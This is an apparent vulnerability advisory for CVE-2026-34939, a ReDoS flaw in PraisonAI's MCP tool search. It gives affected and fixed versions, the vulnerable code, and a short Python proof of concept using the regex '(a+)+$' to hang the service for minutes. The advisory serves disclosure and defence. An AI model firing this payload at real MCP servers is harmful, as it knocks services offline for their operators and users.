CVE-2026-34939: PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()
Summary MCPToolIndex.searchtools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.
Published Apr 1, 2026 · Updated Apr 6, 2026
Affected packages
praisonai
- Ecosystem
- PyPI
- Affected
- <= 4.5.89
- Fixed in
- 4.5.90
- Check
pip show praisonai
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.
Details
tool_index.py:365 (source) -> tool_index.py:368 (sink)
# source -- query taken directly from caller, no validation
def search_tools(self, query: str) -> List[ToolInfo]:
import re
# sink -- compiled and applied with no timeout or exception handling
pattern = re.compile(query, re.IGNORECASE)
for tool in self.get_all_tools():
if pattern.search(tool.name) or pattern.search(tool.hint):
matches.append(tool)PoC
# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path
mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'
mcp_dir.mkdir(parents=True, exist_ok=True)
(mcp_dir / '_index.json').write_text(json.dumps([
{"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"}
]))
(mcp_dir / '_status.json').write_text(json.dumps({
"server": "test_server", "available": True, "auth_required": False,
"last_sync": time.time(), "tool_count": 1, "error": None
}))
from praisonai.mcp_server.tool_index import MCPToolIndex
index = MCPToolIndex()
start = time.monotonic()
results = index.search_tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0sImpact
A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.
Credited to YeranG30.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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